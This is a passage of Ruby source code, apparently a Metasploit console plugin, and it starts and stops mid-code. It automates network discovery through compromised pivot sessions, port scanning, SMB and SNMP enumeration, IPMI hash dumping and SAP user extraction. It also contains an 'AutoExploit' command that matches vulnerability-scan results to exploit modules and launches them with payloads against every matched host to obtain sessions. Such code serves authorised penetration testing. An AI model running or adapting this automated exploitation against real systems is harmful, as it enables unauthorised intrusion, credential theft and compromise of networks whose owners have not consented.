                # Remove multicast and loopback interfaces
                next if route.subnet =~ /^(224\.|127\.)/
                next if route.subnet == '0.0.0.0'
                next if route.netmask == '255.255.255.255'
                tbl << [route.subnet, route.netmask, si]
              end
            end
          end
        end
      else
        print_error("No Sessions specified.")
        return
      end
      
      print_line(tbl.to_s)
    end


    def cmd_pivot_network_discover(*args)
      #option variables
      session_id = nil
      port_scan  = false
      udp_scan   = false
      disc_mods = false
      smb_user = nil
      smb_pass = nil
      smb_dom = "WORKGROUP"
      verbose = false
      port_lists = []

      opts = Rex::Parser::Arguments.new(
        "-s"   => [ true,   "Session to do discovery of networks and hosts."],
        "-t"   => [ false,  "Perform TCP port scan of hosts discovered."],
        "-u"   => [ false,  "Perform UDP scan of hosts discovered."],
        "-p"   => [ true,   "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
        "-d"   => [ false,  "Run Framework discovery modules against found hosts."],
        "-U"   => [ true,   "SMB User-name for discovery(optional)."],
        "-P"   => [ true,   "SMB Password for discovery(optional)."],
        "-D"   => [ true,   "SMB Domain for discovery(optional)."],
        "-v"   => [ false,  "Be verbose and show pending actions."],
        "-h"   => [ false,  "Help Message."]
      )

      opts.parse(args) do |opt, idx, val|
        case opt
        when "-s"
          session_id =  val.to_i
        when "-t"
          port_scan = true
        when "-u"
          udp_scan = true
        when "-d"
          disc_mods = true
        when "-U"
          smb_user = val
        when "-P"
          smb_pass = val
        when "-D"
          smb_dom = val
        when "-v"
          verbose = true
        when "-p"
          port_lists = port_lists + Rex::Socket.portspec_crack(val)
        when "-h"
          print_line(opts.usage)
          return
        else
          print_line(opts.usage)
          return
        end
      end

      if session_id.nil?
        print_error("You need to specify a Session to do discovery against.")
        print_line(opts.usage)
        return
      end
      # Static UDP port list
      udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]

      # Variable to hold the array of networks that we will discover
      networks = []
      # Switchboard instace for routing
      sb = Rex::Socket::SwitchBoard.instance
      if framework.sessions.keys.include?(session_id.to_i)
        # Get session object
        session = framework.sessions.get(session_id.to_i)
        if (session.type == "meterpreter")
          # Collect addresses to help determine the best method for discovery
          int_addrs = []
          session.net.config.interfaces.each do |i|
            int_addrs = int_addrs + i.addrs
          end
          print_status("Identifying networks to discover")
          session.net.config.each_route { |route|
            # Remove multicast and loopback interfaces
            next if route.subnet =~ /^(224\.|127\.)/
            next if route.subnet == '0.0.0.0'
            next if route.netmask == '255.255.255.255'
            # Save the network in to CIDR format
            networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}"
            if port_scan || udp_scan
              if not sb.route_exists?(route.subnet, route.netmask)
                print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}")
                sb.add_route(route.subnet, route.netmask, session)
              end
            end
          }
          # Run ARP Scan and Ping Sweep for each of the networks
          networks.each do |n|
            opt = {"RHOSTS" => n}
            # Check if any of the networks is directly connected. If so use ARP Scanner
            net_ips = []
            Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i}
            if int_addrs.any? {|ip| net_ips.include?(ip) }
              run_post(session_id, "windows/gather/arp_scanner", opt)
            else
              run_post(session_id, "multi/gather/ping_sweep", opt)
            end
          end

          # See what hosts where discovered via the ping scan and ARP Scan
          hosts_on_db = framework.db.workspace.hosts.map { |h| h.address}

          if port_scan
            if port_lists.length > 0
              ports = port_lists
            else
              # Generate port list that are supported by modules in Metasploit
              ports = get_tcp_port_list
            end
          end

          networks.each do |n|
            print_status("Discovering #{n} Network")
            net_hosts = []
            Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i}
            found_ips = hosts_on_db & net_hosts

            # run portscan against hosts in this network
            if port_scan
              found_ips.each do |t|
                print_good("Running TCP Portscan against #{t}")
                run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t,
                           "PORTS"=> (ports * ","),
                           "THREADS" => 5,
                           "CONCURRENCY" => 50,
                           "ConnectTimeout" => 1})
                jobwaiting(10,false, "scanner")
              end
            end

            # if a udp port scan was selected lets execute it
            if udp_scan
              found_ips.each do |t|
                print_good("Running UDP Portscan against #{t}")
                run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t,
                           "PORTS"=> (udp_ports * ","),
                           "THREADS" => 5})
                jobwaiting(10,false,"scanner")
              end
            end

            # Wait for the scanners to finish before running the discovery modules
            if port_scan || udp_scan
              print_status("Waiting for scans to finish")
              finish_scanning = false
              while not finish_scanning
                ::IO.select(nil, nil, nil, 2.5)
                count = get_job_count
                if verbose
                  print_status("\t#{count} scans pending")
                end
                if count == 0
                  finish_scanning = true
                end
              end
            end

            # Run discovery modules against the services that are for the hosts in the database
            if disc_mods
              found_ips.each do |t|
                host = framework.db.find_or_create_host(:host => t)
                found_services = host.services.where(state: "open")
                if found_services.length > 0
                  print_good("Running SMB discovery against #{t}")
                  run_smb(found_services,smb_user,smb_pass,smb_dom,10,true)
                  print_good("Running service discovery against #{t}")
                  run_version_scans(found_services,10,true)
                else
                  print_status("No new services where found to enumerate.")
                end
              end
            end
          end
        end
      else
        print_error("The Session specified does not exist")
      end
    end


    # Network Discovery command
    def cmd_network_discover(*args)
      # Variables
      scan_type = "-A"
      range = ""
      disc_mods =  false
      smb_user = nil
      smb_pass = nil
      smb_dom = "WORKGROUP"
      maxjobs = 30
      verbose = false
      port_lists = []
      # Define options
      opts = Rex::Parser::Arguments.new(
        "-r"   => [ true,   "IP Range to scan in CIDR format."],
        "-d"   => [ false,  "Run Framework discovery modules against found hosts."],
        "-u"   => [ false,  "Perform UDP Scanning. NOTE: Must be ran as root."],
        "-U"   => [ true,   "SMB User-name for discovery(optional)."],
        "-P"   => [ true,   "SMB Password for discovery(optional)."],
        "-D"   => [ true,   "SMB Domain for discovery(optional)."],
        "-j"   => [ true,   "Max number of concurrent jobs. Default is 30"],
        "-p"   => [ true,   "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
        "-v"   => [ false,  "Be Verbose when running jobs."],
        "-h"   => [ true,   "Help Message."]
      )

      if args.length == 0
        print_line opts.usage
        return
      end

      opts.parse(args) do |opt, idx, val|
        case opt

        when "-r"
          # Make sure no spaces are in the range definition
          range = val.gsub(" ","")
        when "-d"
          disc_mods = true
        when "-u"
          scan_type = "-sU"
        when "-U"
          smb_user = val
        when "-P"
          smb_pass = val
        when "-D"
          smb_dom = val
        when "-j"
          maxjobs = val.to_i
        when "-v"
          verbose = true
        when "-p"
          port_lists = port_lists + Rex::Socket.portspec_crack(val)
        when "-h"
          print_line opts.usage
          return
        end
      end

      # Static UDP port list
      udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]

      # Check that the ragne is a valid one
      ip_list = Rex::Socket::RangeWalker.new(range)
      ips_given = []
      if ip_list.length == 0
        print_error("The IP Range provided appears to not be valid.")
      else
        ip_list.each do |i|
          ips_given << i
        end
      end

      # Get the list of IP's that are routed thru a Pivot
      route_ips = get_routed_ips

      if port_lists.length > 0
        ports = port_lists
      else
        # Generate port list that are supported by modules in Metasploit
        ports = get_tcp_port_list
      end
      if (ips_given.any? {|ip| route_ips.include?(ip)})
        print_error("Trying to scan thru a Pivot please use pivot_net_discovery command")
        return
      else
        # Collect current set of hosts and services before the scan
        current_hosts = framework.db.workspace.hosts.where(state: "alive")
        current_services = framework.db.workspace.services.where(state: "open")

        # Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules
        if scan_type =~ /-A/
          cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
          run_porscan(cmd_str)
        else
          cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
          run_porscan(cmd_str)
        end
        # Get a list of the new hosts and services after the scan and extract the new services and hosts
        after_hosts = framework.db.workspace.hosts.where(state: "alive")
        after_services = framework.db.workspace.services.where(state: "open")
        new_hosts = after_hosts - current_hosts
        print_good("New hosts found: #{new_hosts.count}")
        new_services = after_services - current_services
        print_good("New services found: #{new_services.count}")
      end

      if disc_mods
        # Do service discovery only if new services where found
        if new_services.count > 0
          run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose)
          run_version_scans(new_services,maxjobs,verbose)
        else
          print_status("No new services where found to enumerate.")
        end
      end
    end


    # Run Post Module against specified session and hash of options
    def run_post(session, mod, opts)
      m = framework.post.create(mod)
      begin
        # Check that the module is compatible with the session specified
        if m.session_compatible?(session.to_i)
          m.datastore['SESSION'] = session.to_i
          # Process the option provided as a hash
          opts.each do |o,v|
            m.datastore[o] = v
          end
          # Validate the Options
          m.options.validate(m.datastore)
          # Inform what Post module is being ran
          print_status("Running #{mod} against #{session}")
          # Execute the Post Module
          m.run_simple(
            'LocalInput'  => driver.input,
            'LocalOutput' => driver.output
            )
        end
      rescue
        print_error("Could not run post module against sessions #{s}")
      end
    end


    # Remove services marked as close
    def cleanup()
      print_status("Removing services reported as closed from the workspace...")
      framework.db.workspace.services.where(state: "closed").each do |s|
        s.destroy
      end
      print_status("All services reported removed.")
    end


    # Get the specific count of jobs which name contains a specified text
    def get_job_count(type="scanner")
      job_count = 0
      framework.jobs.each do |k,j|
        if j.name =~ /#{type}/
          job_count =  job_count + 1
        end
      end
      return job_count
    end


    # Wait for commands to finish
    def jobwaiting(maxjobs, verbose, jtype)
      while(get_job_count(jtype) >= maxjobs)
        ::IO.select(nil, nil, nil, 2.5)
        if verbose
          print_status("waiting for some modules to finish")
        end
      end
    end


    # Get a list of IP's that are routed thru a Meterpreter sessions
    # Note: This one bit me hard!! in testing. Make sure that the proper module is ran against
    # the proper host
    def get_routed_ips
      routed_ips = []
      pivot = Rex::Socket::SwitchBoard.instance
      unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]")
        pivot.routes.each do |r|
          sn = r.subnet
          nm = r.netmask
          cidr = Rex::Socket.addr_atoc(nm)
          pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}")
          pivot_ip_range.each do |i|
            routed_ips << i
          end
        end
      end
      return routed_ips
    end


    # Method for running auxiliary modules given the module name and options in a hash
    def run_aux_module(mod, opts, as_job=true)
      m = framework.auxiliary.create(mod)
      if !m.nil? 
        opts.each do |o,v|
          m.datastore[o] = v
        end
        m.options.validate(m.datastore)
        m.run_simple(
          'LocalInput'  => driver.input,
          'LocalOutput' => driver.output,
          'RunAsJob'    => as_job
        )
      else
        print_error("Module #{mod} does not exist")
        return
      end
    end


    # Generate an up2date list of ports used by exploit modules
    def get_tcp_port_list
      # UDP ports
      udp_ports = [53,67,137,161,123,138,139,1434]

      # Ports missing by the autogen
      additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034]

      print_status("Generating list of ports used by Auxiliary Modules")
      ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
      print_status("Generating list of ports used by Exploit Modules")
      ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact

      # Join both list removing the duplicates
      port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports
      return port_list
    end


    # Run Nmap scan with values provided
    def run_porscan(cmd_str)
      print_status("Running NMap with options #{cmd_str}")
      driver.run_single("db_nmap #{cmd_str}")
      return true
    end


    # Run SMB Enumeration modules
    def run_smb(services, user, pass, dom, maxjobs, verbose)
      smb_mods = [
        {"mod" => "scanner/smb/smb_version",    "opt" => nil},
        {"mod" => "scanner/smb/smb_enumusers",  "opt" => nil},
        {"mod" => "scanner/smb/smb_enumshares", "opt" => nil},
      ]
      smb_mods.each do |p|
        m = framework.auxiliary.create(p["mod"])
        services.each do |s|
          if s.port == 445
            m.datastore['RHOSTS'] = s.host.address
            if not user.nil? and pass.nil?
              m.datastore['SMBUser'] = user
              m.datastore['SMBPass'] = pass
              m.datastore['SMBDomain'] = dom
            end
            m.options.validate(m.datastore)
            print_status("Running #{p['mod']} against #{s.host.address}")
            m.run_simple(
              'LocalInput'  => driver.input,
              'LocalOutput' => driver.output
            )
          end

        end
        jobwaiting(maxjobs,verbose,"scanner")
      end
    end


    # Run version and discovery auxiliary modules depending on port that is open
    def run_version_scans(services, maxjobs, verbose)
      # Run version scan by identified services
      services.each do |s|
        if (s.port == 135) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address}
          run_aux_module("scanner/netbios/nbname_probe",opts)
          jobwaiting(maxjobs,verbose,"scanner")

        elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/http/http_version",opts)
          run_aux_module("scanner/http/robots_txt",opts)
          run_aux_module("scanner/http/open_proxy",opts)
          run_aux_module("scanner/http/webdav_scanner",opts)
          run_aux_module("scanner/http/http_put",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.port == 1720) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/h323/h323_version",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
          run_aux_module("scanner/http/http_version",opts)
          run_aux_module("scanner/vmware/esx_fingerprint",opts)
          run_aux_module("scanner/http/robots_txt",opts)
          run_aux_module("scanner/http/open_proxy",opts)
          run_aux_module("scanner/http/webdav_scanner",opts)
          run_aux_module("scanner/http/http_put",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/ftp/ftp_version",opts)
          run_aux_module("scanner/ftp/anonymous",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/telnet/telnet_version",opts)
          run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/vmware/vmauthd_version)",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/ssh/ssh_version",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == ""
          if s.port == 465
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
          else
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          end
          run_aux_module("scanner/smtp/smtp_version",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == ""
          if s.port == 995
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
          else
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          end
          run_aux_module("scanner/pop3/pop3_version",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == ""
          if s.port == 993
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
          else
            opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          end
          run_aux_module("scanner/imap/imap_version",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/mssql/mssql_versione",opts)
          jobwaiting(maxjobs,verbose,"scanner")
          next

        elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/postgres/postgres_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/mysql/mysql_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/h323/h323_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s =~ /afp/ or s.port == 548)
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/afp/afp_server_info",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/vmware/esx_fingerprint",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s =~ /vnc/i || s.port == 5900)
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/vnc/vnc_none_auth",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.name.to_s =~ /jetdirect/i || s.port == 9100)
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/printer/printer_version_info",opts)
          run_aux_module("scanner/printer/printer_ready_message",opts)
          run_aux_module("scanner/printer/printer_list_volumes",opts)
          run_aux_module("scanner/printer/printer_list_dir",opts)
          run_aux_module("scanner/printer/printer_download_file",opts)
          run_aux_module("scanner/printer/printer_env_vars",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 623)
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/ipmi/ipmi_cipher_zero",opts)
          run_aux_module("scanner/ipmi/ipmi_dumphashes",opts)
          run_aux_module("scanner/ipmi/ipmi_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 6000)
          opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
          run_aux_module("scanner/x11/open_x11",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 1521) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/oracle/tnslsnr_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 17185) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
          run_aux_module("scanner/vxworks/wdbrpc_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 50013) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
          run_aux_module("scanner/vxworks/wdbrpc_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/db2/db2_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port.to_s =~ /50013/) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts)
          run_aux_module("scanner/sap/sap_mgmt_con_version",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 8080) and s.info.to_s == ""
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/http/sap_businessobjects_version_enum",opts)
          run_aux_module("scanner/http/open_proxy",opts)
          jobwaiting(maxjobs,verbose, "scanner")
          next

        elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/)
          opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
          run_aux_module("scanner/snmp/snmp_login",opts)
          jobwaiting(maxjobs,verbose, "scanner")

          if s.creds.length > 0
            s.creds.each do |c|
              opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "1",
                'COMMUNITY' => c.pass
                }
              run_aux_module("scanner/snmp/snmp_enum",opts)
              jobwaiting(maxjobs,verbose,"scanner")

              opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "2c",
                'COMMUNITY' => c.pass
                }
              run_aux_module("scanner/snmp/snmp_enum",opts)
              jobwaiting(maxjobs,verbose,"scanner")

              if s.host.os_name =~ /windows/i
                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "1",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/snmp_enumusers",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "2c",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/snmp_enumusers",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "1",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/snmp_enumshares",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "2c",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/snmp_enumshares",opts)
                jobwaiting(maxjobs,verbose,"scanner")

              else
                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "1",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "2c",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "1",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/aix_version",opts)
                jobwaiting(maxjobs,verbose,"scanner")

                opts = {
                'RHOSTS' => s.host.address,
                'RPORT' => s.port,
                'VERSION' => "2c",
                'COMMUNITY' => c.pass
                }
                run_aux_module("scanner/snmp/aix_version",opts)
                jobwaiting(maxjobs,verbose,"scanner")
                next

              end
            end
          end
        end
      end
    end
  end

  # Exploit handling commands
  ################################################################################################

  class AutoExploit
    include Msf::Ui::Console::CommandDispatcher
    # Set name for command dispatcher
    def name
      "auto_exploit"
    end


    # Define Commands
    def commands
      {
        "vuln_exploit"     => "Runs exploits based on data imported from vuln scanners.",
        "show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
      }
    end


    # vuln exploit command
    def cmd_vuln_exploit(*args)
      require 'timeout'

      # Define options
      opts = Rex::Parser::Arguments.new(
        "-f"   => [ true,   "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
        "-r"   => [ true,   "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
        "-m"   => [ false,  "Only show matched exploits."],
        "-s"   => [ false,  "Do not limit number of sessions to one per target."],
        "-j"   => [ true,   "Max number of concurrent jobs, 3 is the default."],
        "-h"   => [ false,  "Command Help"]
      )

      # set variables for options
      os_type = ""
      filter = []
      range = []
      limit_sessions = true
      matched_exploits = []
      min_rank = 100
      show_matched = false
      maxjobs = 3
      ranks ={
        "low"       => 100,
        "average"   => 200,
        "normal"    => 300 ,
        "good"      => 400,
        "great"     => 500,
        "excellent" => 600
      }
      # Parse options
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-f"
          range = val.gsub(" ","").split(",")
        when "-r"
          if ranks.include?(val)
            min_rank = ranks[val]
          else
            print_error("Value of #{val} not in list using default of good.")
          end
        when "-s"
          limit_sessions = false
        when "-m"
          show_matched = true
        when "-j"
          maxjobs = val.to_i

        when "-h"
          print_line(opts.usage)
          return

        end
      end

      # Make sure that there are vulnerabilities in the table before doing anything else
      if framework.db.workspace.vulns.length == 0
        print_error("No vulnerabilities are present in the database.")
        return
      end

      # generate a list of IP's to not exploit
      range.each do |r|
        Rex::Socket::RangeWalker.new(r).each do |i|
          filter << i
        end
      end

      exploits =[]
      print_status("Generating List for Matching...")
      framework.exploits.each_module do |n,e|
        exploit = {}
        x=e.new
        if x.datastore.include?('RPORT')
          exploit = {
            :exploit    => x.fullname,
            :port       => x.datastore['RPORT'],
            :platforms  => x.platform.names.join(" "),
            :date       => x.disclosure_date,
            :references => x.references,
            :rank       => x.rank
          }
          exploits << exploit
        end
      end

      print_status("Matching Exploits (This will take a while depending on number of hosts)...")
      framework.db.workspace.hosts.each do |h|
        # Check that host has vulnerabilities associated in the DB
        if h.vulns.length > 0
          os_type = normalise_os(h.os_name)
          #payload = chose_pay(h.os_name)
          exploits.each do |e|
            found = false
            next if not e[:rank] >= min_rank
            if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
              # lets get the proper references
              e_refs = parse_references(e[:references])
              h.vulns.each do |v|
                v.refs.each do |f|
                  # Filter out Nessus notes
                  next if f.name =~ /^NSS|^CWE/
                  if e_refs.include?(f.name) and not found
                    # Skip those hosts that are filtered
                    next if filter.include?(h.address)
                    # Save exploits in manner easy to retrieve later
                    exploit = {
                      :exploit => e[:exploit],
                      :port    => e[:port],
                      :target  => h.address,
                      :rank    => e[:rank]
                    }
                    matched_exploits << exploit
                    found = true
                  end
                end
              end
            end
          end
        end

      end

      if matched_exploits.length > 0
        # Sort by rank with highest ranked exploits first
        matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }

        print_good("Matched Exploits:")
        matched_exploits.each do |e|
          print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
        end

        # Only show matched records if user only wanted if selected.
        return if show_matched

        # Track LPORTs used
        known_lports = []

        # Make sure that existing jobs do not affect the limit
        current_jobs = framework.jobs.keys.length
        maxjobs = current_jobs + maxjobs

        # Start launching exploits that matched sorted by best ranking first
        print_status("Running Exploits:")
        matched_exploits.each do |e|
          # Select a random port for LPORT
          port_list = (1024..65000).to_a.shuffle.first
          port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)

          # Check if we are limiting one session per target and enforce
          if limit_sessions and get_current_sessions.include?(e[:target])
            print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
            next
          end

          # Configure and launch the exploit
          begin
            print_status("Creating instance of #{e[:exploit]}")
            ex = framework.modules.create(e[:exploit])
            if ex.nil?
              print_error("Could not create instance.")
            end
            # Choose a payload depending on the best match for the specific exploit
            ex = chose_pay(ex, e[:target])
            if ex.datastore.has_key?('TARGETURI') 
              ex.datastore['TARGETURI'] = e[:target]
            end
            ex.datastore['RHOST'] = e[:target]
            ex.datastore['RPORT'] = e[:port].to_i
            ex.datastore['LPORT'] = port_list
            ex.datastore['VERBOSE'] = true
            (ex.options.validate(ex.datastore))
            print_status("Running #{e[:exploit]} against #{e[:target]}")

            # Provide 20 seconds for a exploit to timeout
            Timeout::timeout(20) do
              ex.exploit_simple(
                'Payload'     => ex.datastore['PAYLOAD'],
                'LocalInput'  => driver.input,
                'LocalOutput'   => driver.output,
                'RunAsJob'      => true
              )
            end
          rescue Timeout::Error
            print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
          end
          jobwaiting(maxjobs)
        end
      else
        print_error("No Exploits where Matched.")
        return
      end
    end


    # Show client side exploits
    def cmd_show_client_side(*args)

      # Define options
      opts = Rex::Parser::Arguments.new(
        "-r"   => [ true,   "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
        "-h"   => [ false,  "Command Help"]
      )

      # set variables for options
      os_type = ""
      matched_exploits = []
      min_rank = 100
      ranks ={
        "low"       => 100,
        "average"   => 200,
        "normal"    => 300 ,
        "good"      => 400,
        "great"     => 500,
        "excellent" => 600
      }
      # Parse options
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-r"
          if ranks.include?(val)
            min_rank = ranks[val]
          else
            print_error("Value of #{val} not in list using default of good.")
          end

        when "-h"
          print_line(opts.usage)
          return
        end
      end

      exploits =[]

      # Make sure that there are vulnerabilities in the table before doing anything else
      if framework.db.workspace.vulns.length == 0
        print_error("No vulnerabilities are present in the database.")
        return
      end

      print_status("Generating List for Matching...")
      framework.exploits.each_module do |n,e|
        exploit = {}
        x=e.new
        if x.datastore.include?('LPORT')
          exploit = {
            :exploit    => x.fullname,
